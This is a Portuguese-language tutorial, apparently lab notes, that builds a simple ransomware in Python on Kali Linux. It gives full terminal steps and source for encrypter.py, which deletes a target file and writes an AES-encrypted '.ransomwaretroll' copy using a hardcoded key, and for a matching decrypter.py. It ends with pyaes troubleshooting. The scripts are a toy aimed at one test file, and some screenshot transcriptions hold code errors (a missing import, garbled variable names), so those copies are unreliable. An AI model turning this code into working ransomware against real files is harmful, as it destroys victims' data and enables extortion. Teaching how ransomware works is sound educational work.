Projeto Ransomware na Prática com Python

Vamos entrar no Dektop

```
___(irene⊗ kali)-[~/Desktop]

$\sudo su
```

ls

```
(root@ kali)-[/home/irene/Desktop]
# ls
projeto-ransomware projeto_ransomware ransomware_projeto_python
```

Criar pasta

```
(root@kali)-[/home/irene/Desktop]
# mkdir ransom_python
```

ls

```
root@ kali)-[/home/irene/Desktop]
ls
projeto-ransomware ransom_python
projeto_ransomware ransomware_projeto_python
```

Vamos acessar a pasta

```
(root@kali)-[/home/irene/Desktop]
# cd ransom_python
```

Is, mas não terá nada dentro

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# ls
```

Vamos criar um arquivo decrypter.py

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# touch decrypter.py
```

ls

```
(root@ kali)-[/home/irene/Desktop/ransom_python]
# ls
decrypter.py
```

Vamos criar um arquivo encrypter.py

```
(root@ kali)-[/home/irene/Desktop/ransom_python]
touch encrypter.py
```

ls

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# ls
decrypter.py encrypter.py
```

Vamos criar um arquivo teste.txt

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# touch teste.txt
```

ls

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# ls
decrypter.py encrypter.py teste.txt
```

Escreve

```
(root@kali)-[/home/irene/Desktop/ransom_python]
    nano teste.txt
```

Enter escreve o texto

```
Arquivo Ações Editar Exibir Ajuda

GNU nano 6.3 teste.txt *

A vida é um eterno aprendizado!
```

pressione **ctrl + o** para salvar o arquivo.Enter pressione **ctrl + x** para sair

Escreve e dê um enter

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# nano encrypter.py
```

Enter

```
Arquivo Ações Editar Exibir Ajuda
 GNU nano 6.3
                                encrypter.py *
import pyaes
file_name = "teste.txt"
file = open(file_name, "rb")
file_data = file.read()
file.close()
os.remove(file_name)
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
new_file = file_name + ".ransomwaretroll"
new_file = open(f'{new_file}','wb')
new_file.write(crypto_data)
new_file.close()
^G Ajuda
                            <sup>^</sup>W Onde está?<sup>^</sup>K Recortar
              ^O Gravar
                                                           Executar
                                                        ^J Justificar
              ^R Ler o arq ^\ Substituir^U Colar
^X Sair
```

pressione **ctrl + o** para salvar o arquivo.Enter pressione **ctrl + x** para sair

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# nano decrypter.py
```

Enter

```
root@kali: /home/irene/Desktop/ransom_python
Arquivo Ações Editar Exibir Ajuda
 GNU nano 6.3
                                  decrypter.py *
import os
import pyaes
file_name = "teste.txt.ransomwaretroll"
file = open(file_name, "rb")
file_data = file.read()
file.close()
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)
decrypt_data = aes.decrypt(file_data)
os.remove(file_name)
new_file = "teste.txt"
new_file = open(f'{new_file}', "wb")
new file.write(decrypt data)
new_file.close()
                              <sup>^</sup>W Onde está?<sup>^</sup>K Recortar
                                                              Executar
   Ajuda
               ^O Gravar
   Sair
               ^R Ler o arq ^\ Substituir<mark>^U</mark> Colar
                                                              Justificar
```

pressione **ctrl + o** para salvar o arquivo.Enter pressione **ctrl + x** para sair

ls

```
(root@kali)-[/home/irene/Desktop/ransom_python]
# ls
decrypter.py encrypter.py teste.txt

(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
# python3 encrypter.py
```

Para criptografar

Veja que foi criptografado

```
(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
| ls cannot be | executado |
| decrypter.py encrypter.py path teste.txt.ransomwaretroll | venv
```

```
(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
# nano teste.txt.ransomwaretroll
```

Enter para ver o arquivo que foi criptografado

pressione ctrl + x para sair

Escreva

```
(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
python3 decrypter.py
```

ls

```
(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
decrypter.py encrypter.py path teste.txt venv
```

Para verificar que arquivo foi descriptografado

```
(venv)-(root@kali)-[/home/irene/Desktop/ransom_python]
# nano teste.txt
```

```
(venv)root@kali:/home/irene/Desktop/ransom_python

Arquivo Ações Editar Exibir Ajuda

GNU nano 6.3 teste.txt

A vida é um eterno aprendizado!
```

encrypter.py

```
import os
import pyaes
## abrir o arquivo a ser criptografado
file_name = "teste.txt"
file = open(file_name, "rb")
file_data = file.read()
file.close()
## remover o arquivo
os.remove(file_name)
## chave de criptografia
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)
## criptografar o arquivo
crypto_data = aes.encrypt(file_data)
## salvar o arquivo criptografado
new_file = file_name + ".ransomwaretroll"
new_file = open(f'{new_file}','wb')
new_file.write(crypto_data)
new_file.close()
```

decrypter.py

```
import os
import pyaes
## abrir o arquivo criptografado
file_name = "teste.txt.ransomwaretroll"
file = open(file_name, "rb")
file_data = file.read()
file.close()
## chave para descriptografia
key = b"testeransomwares"
aes = pyaes.AESModeOfOperationCTR(key)
decrypt_data = aes.decrypt(file_data)
## remover o arquivo criptografado
os.remove(file_name)
## criar o arquivo descriptografado
new_file = "teste.txt"
new_file = open(f'{new_file}', "wb")
new_file.write(decrypt_data)
new_file.close()
```

teste.txt

```
(venv)root@kali:/home/irene/Desktop/ransom_python
Arquivo Ações Editar Exibir Ajuda
GNU nano 6.3 teste.txt
A vida é um eterno aprendizado!
```

pressione ctrl + x para sair

Problema que ocorreu durante este teste

Se você está recebendo um erro "Nenhum módulo chamado 'pyaes'" após instalar o

pyaes em um ambiente virtual no Kali Linux, é possível que haja um problema com a forma como o ambiente virtual está sendo ativado ou com o caminho do Python.

Certifique-se de que o ambiente virtual está ativado: Antes de tudo, certifique-se de que você ativou o ambiente virtual corretamente. No seu terminal, enquanto estiver no diretório do seu projeto, execute:

bash
source venv/bin/activate

Isso deve mudar o prompt do seu terminal, mostrando o nome do seu ambiente virtual, como (venv).

Verifique o Caminho do Python:

Certifique-se de que o Python dentro do ambiente virtual é usado. Execute:

bash

which python

Ou, para Python 3:

bash
which python3

O caminho retornado deve estar dentro do diretório do seu ambiente virtual, como algo parecido com /caminho/do/seu/projeto/venv/bin/python.

Instale o pyaes novamente:

Dentro do ambiente virtual, reinstale o pyaes:

pip install pyaes

Ou, para Python 3:

pip3 install pyaes

Tente Importar o pyaes:

Após reinstalar o pyaes, inicie o interpretador Python interativo dentro do ambiente virtual e tente importar o pyaes:

bash python

Dentro do interpretador Python, digite:

python

import pyaes

Se você não receber mensagens de erro, o pyaes foi importado com sucesso.

Verifique o Caminho do Python durante a Execução do Script:

Se você estiver executando um script Python, certifique-se de que está usando o Python correto do ambiente virtual. Execute o script com:

bash

python seu_script.py

Ou, para Python 3:

bash

python3 seu_script.py